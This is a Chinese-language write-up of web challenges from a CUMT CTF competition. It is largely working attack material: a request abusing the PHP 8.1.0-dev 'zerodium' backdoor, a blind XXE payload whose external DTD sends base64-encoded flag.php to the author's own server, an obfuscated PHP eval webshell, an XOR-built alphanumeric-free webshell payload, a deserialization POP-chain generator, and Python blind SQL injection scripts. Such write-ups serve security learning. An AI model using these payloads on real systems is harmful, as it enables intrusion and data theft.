CUMT-Competition-June
青 叶

整理一下这次比赛的Web题目

CUMT CTF JUNE

Web签到

F12查看返回的Header:

1
X-Powered-By: PHP/8.1.0-dev

这个版本被人恶意植入过后门,直接利用后门获得flag。

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1

Host: 219.219.61.234:10015
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
User-Agentt: zerodiumecho file_get_contents('flag.php');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

添加User-Agentt: zerodiumecho phpcode_here利用即可。

别大E

XXE的题目

弱口令猜中了没有什么用,抓包看下请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /login.php HTTP/1.1

Host: 219.219.61.234:10017

Content-Length: 66

Accept: application/xml, text/xml, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Content-Type: application/xml;charset=UTF-8

Origin: http://219.219.61.234:10017

Referer: http://219.219.61.234:10017/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

<user><username>admin</username><password>admin</password></user>

请求数据格式是XML,猜测可能是XXE注入,返回值比较固定,所以是无回显的XXE。

既然这样,直接试试打不打得通吧,直接添加实体,使其将flag编码发送至我们的服务器上。

替换XML数据为:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
<!ENTITY % dtd SYSTEM "https://blog.evalexp.ml/evil.dtd">
%dtd;
%send;
]>

<user><username>admin</username><password>admin</password>

其中,blog.evalexp.ml是我的博客地址,在发生请求前需要在博客根目录下创建evil.dtd文件,内容如下:

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://blog.evalexp.ml/?data=%file;'>"
>
%all;

进而使得服务器在解析XML时包含我们的外部实体,然后向我们的服务器发生数据。

查看服务器日志可以得到:

1
2
108.162.215.8 - - [28/May/2021:15:39:21 +0000] "GET /evil.dtd HTTP/1.1" 200 96 "-" "-"
172.69.35.33 - - [28/May/2021:15:39:24 +0000] "GET /?data=PD9waHANCiRmbGFnPSJjdW10Y3Rme3h4M19pc19WZVJ5X0U0c1l9IjsNCj9waHA+ HTTP/1.1" 200 5198 "-" "-"

base64解码后即可得到flag。

EZ_getshell

代码是这样的:

1
2
3
4
5
6
7
8
9
<?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{18} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{1} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{7} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{13};
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC.= $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{22} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{36} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{29} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIH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VqUFJTZEhHUW5hdURpc2ZFTklGeW9jcmtVTHdtS01DdFZ6Wigkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUioyKSwkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiksJHZOd1RPc0tQRUFsTGNpSkRCaFd0UlNIWGVtcElyanlRVXVHb2FrbllDZEZ6cVpNeGZiZ1YoJE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGIsMCwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUikpKSk7")); ?>

自己去解了下,最后是这样的:

1
2
3
<?php
highlight_file(__FILE__);
@eval($_POST[ymlisisisiook]);

显示代码加一句话。

Burp发送一下恶意请求,发现没有回显,看了下phpinfo的信息,以下函数被禁用:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

system等关键函数默认在内,这样只能绕过disable_functions,蚁剑插件市场下载绕过插件即可。

RCE_ME

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
if (isset($_POST['url'])) {
$url = $_POST['url'];
$r = parse_url($url);
if (preg_match('/cumt\.com$/', $r['host'])) {
echo "you are good";
$code = file_get_contents($url);
print_r($code);
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\~|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('are you sure???');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}else{
echo "you are not cumt";
}
}else{
highlight_file(__FILE__);
}

匹配网址,有很多方法绕过,PHP伪协议即可,payload如下:

1
2
url=compress.zlib://data:@cumt.com/cumt.com?,${%80%80%80%80%80^%DF%D0%CF%D3%D4}{b}(${%80%80%80%80%80^%DF%D0%CF%D3%D4}{c})
&b=system&c=cat flag.php

使用data伪协议也是可以的,data://cumt.com/plain, code

然后仔细分析一下这个payload,前么利用了compress.zlib绕过了网址过滤,会执行后面的代码,然后下一个,这个正则要绕过就是无数字字母webshell了,一开始确实是想到了这个的,但是试了好久,就是不对,就放弃了,看writeup有种哔了狗的感觉,原来是自己写成了%80%80%80%80%80^%DF%D0%CF%D3%D4没有加美元符以及大括号,着实是给自己的智商上了点税。

讲回来,我之前看的无字母数字的webshell是利用取反的,当然了这里过滤了取反,所以还可以利用亦或,构造的PHP脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$payload = '_POST';
$l = '';
$r = '';
$flag = 0;
echo "\n";
for ($i = 0; $i < strlen($payload); $i++) {
$flag=0;
for ($j = 128; $j < 256; $j++) {
for ($k = 128; $k < 256; $k++) {
if ((chr($j) ^ chr($k)) === $payload[$i]) {
$l=$l.urlencode(chr($j));
$r=$r.urlencode(chr($k));
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}

echo $l.'^'.$r;

从而可以构造:

1
url=compress.zlib://data:@cumt.com/cumt.com?,${%80%80%80%80%80^%DF%D0%CF%D3%D4}

这样传入assert的内容即为经过urldecode的${%80%80%80%80%80^%DF%D0%CF%D3%D4}

而PHP的代码运行机制又有一个很linux的特点(很像$(date)这种命令调用格式),PHP.net给出的Note是:

函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 {$} 中使用。然而,只有在该字符串被定义的命名空间中才可以将其值作为变量名来访问。只单一使用花括号 ({}) 无法处理从函数或方法的返回值或者类常量以及类静态变量的值。

所以我们肯定的,花括号内部的异或操作将被运行,从而使得代码变为:

1
assert("${_POST}")

再次构造payload最终可以得到:

1
2
url=compress.zlib://data:@cumt.com/cumt.com?,${%80%80%80%80%80^%DF%D0%CF%D3%D4}{b}(${%80%80%80%80%80^%DF%D0%CF%D3%D4}{c})
&b=system&c=cat flag.php

构造最后的payload时,注意绕开preg_match中的某些字母。

easy_web

只贴关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php highlight_file("index.php") ?>
<?php
$four_word = $_POST['web'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($four_word) == '327a6c4304ad5938eaf0efb6cc3e53dc' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>

第一个MD5使用CMD5解码就行。

绕过md5,老套路了,数组绕过:

令:

1
web=flag&a[]=1&b[]=2

c的取值有点讲究,这是一个PHP 的点。

众所周知,赋值返回的是赋值操作是否成功,然而99.99%的赋值都是成功的,所以怎么使得$array[]=1这个赋值操作失败即可,这里其实是一个新增操作,新增操作要失败,那么只有一个办法,下标溢出,但是PHP是动态解释语言,按照道理来说不会出现这种问题,但是考虑到PHP的数组实际可能也是由一种数据结构维护,而数据结构中一般不会使用到大整数作为下标表示法,假如说PHP的源代码在实现Array的时候使用了int来表示数组下标的话,那么我们可以利用固有的int溢出方式,传入2^31-2使得++$c为int的最大值,这样在新增时,再加下标就会溢出int的范围从而使得赋值失败。

如果是64位机,则应该传入的是2^63-2

这样子得到了一个password,然后图片隐写解一下即可。

Easy_unserialize

反序列化的题其实一直不太难,主要是想清楚构造链即可。这道题的话,先看代码:

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
//popa.php popb.php

function __autoload($classname){
require "./$classname.php";
}

if(!isset($_COOKIE['user'])){
setcookie("user", serialize('ctfer'), time()+3600);
}else{
echo "hello";
echo unserialize($_COOKIE['user']);
}
  • popa.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in flag.php
highlight_file(__FILE__);

class Cuu{
public $met;
public $eo;
public function __construct(){
$this->met ="hello";
}
public function __wakeup(){
$this->mo="try a try";
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class funct
{
public $mod1;
public function __call($test2,$arr)
{
$fun = $this->mod1;
$fun();
}
}
  • popb.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//flag is in flag.php
highlight_file(__FILE__);
class over {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class usele{
public $test;
public function __wakeup(){
$this->test="yes";
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$nam = $this->p;
$nam->nonono();
}
}

要想要利用,就得在over的类中执行append函数,而append函数会在__invoke中调用,而魔术方法__invoke会在对象当函数调用时被调用。

而可能存在将对象当函数调用的地方则在类funct中的魔术方法__call,这个函数会在调用类中不存在的函数时调用。

再看如何调用__call,显然只有类Test中的魔术方法__get可以这样调用,要调用类Test__get函数,就必须取类Test的成员。这样完全分析下去可以得到构造链为:

1
Show.wakeup->Show.__tostring->Test.__get->funct.__call ->over.__invole->include(flag.php)

于是可以得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php

function autoload($name)
{
require "./$name.php";
}

spl_autoload_register('autoload');

class popa
{
}
class popb
{
}

class Show
{
public $source;
public $str;
public function __construct($file = 'index.php')
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}
public function __toString()
{
return $this->str->source;
}

public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}


class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$nam = $this->p;
$nam->nonono();
}
}

class funct
{
public $mod1;
public function __call($test2, $arr)
{
$fun = $this->mod1;
$fun();
}
}

class over
{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value)
{
include($value);
}
public function __invoke()
{
$this->append($this->var);
}
}

$d = new popa();
$e = new popb();
$a = new Show("1");
$b = new Show("2");
$a->source = $b;
$a->source->str = new Test();
$a->source->str->p = new funct();
$a->source->str->p->mod1 = new over();
$code = serialize([$d, $e, $a]);
print(urlencode($code));
echo "\n";
// Welcome to 1<br>Welcome to 2<br>a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22popa%22%3A0%3A%7B%7Di%3A1%3BO%3A4%3A%22popb%22%3A0%3A%7B%7Di%3A2%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%222%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A5%3A%22funct%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22over%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D%7D

完成后,可以得到:

PD9waHANCiRmbGFnPSJjdW10Y3Rme3MwU29fZTRTeV80dV9oSGhISGh9IjsNCg==

解码得到Flag。

sql_inject

显然存在sql注入,过滤的东西比较多,测试请求参数:

1
username=admin&password=admin'||if(1<2,1,0)#

返回了you are right

说明存在注入点,查innodb_table_stats得表名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://219.219.61.234:32776/test.php"

i = 0
table_name = ""
result = ""
while True:
i += 1
for char in range(32, 128):
payload = f"admin'||if(lpad((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),{i},1)>/**/0x{table_name}{hex(char)[2:]},1,0)#"
data = {
'username': 'admin',
'password': payload
}

if 'wrong' in requests.post(url, data).text and char == 32:
exit()

if 'wrong' in requests.post(url, data).text:
table_name += hex(char)[2:]
result += chr(char)
print(result, f"i={i} chr={char}")
break

可以拿到表名:

1
flag_table,no_use_table,test,users,gtid_slave_pos

显然flag应该在flag_table中,于是再查这个表。

爆其值。

先判断列数:

1
username=admin&password=admin'||(1,1)/**/>/**/(select/**/*/**/from/**/flag_table/**/limit/**/0,1)#

该请求返回right,可以确定有两列。

先求第一列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://219.219.61.234:32776/test.php"

flag = ''

for i in range(500):
for char in range(32, 128):
payload = f"admin'||(\"{flag}{chr(char)}\",1)/**/>/**/(select/**/*/**/from/**/flag_table/**/limit/**/2,1)#"
data = {
"username": "admin",
"password": payload
}
res = requests.post(url, data)
if "right" in res.text:
flag += chr(char - 1)
print(flag)
break

然后直接得到了结果:

1
FLAG{CUMTCTF_SQL_IS_S0_E@SY|

转为小写,把最后一个变为}得到flag。

个人应该是出题人编码有点问题导致大小写不敏感了,个人在MySQL中测试是大小写敏感正常的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [mysql]> select ("M", 1,1,1,1,1) >  (select * from mysql.innodb_table_stats); 
+--------------------------------------------------------------+
| ("M", 1,1,1,1,1) > (select * from mysql.innodb_table_stats) |
+--------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [mysql]> select ("N", 1,1,1,1,1) > (select * from mysql.innodb_table_stats);
+--------------------------------------------------------------+
| ("N", 1,1,1,1,1) > (select * from mysql.innodb_table_stats) |
+--------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [mysql]> select ("m", 1,1,1,1,1) > (select * from mysql.innodb_table_stats);
+--------------------------------------------------------------+
| ("m", 1,1,1,1,1) > (select * from mysql.innodb_table_stats) |
+--------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [mysql]> select ("n", 1,1,1,1,1) > (select * from mysql.innodb_table_stats);
+--------------------------------------------------------------+
| ("n", 1,1,1,1,1) > (select * from mysql.innodb_table_stats) |
+--------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------+
1 row in set (0.000 sec)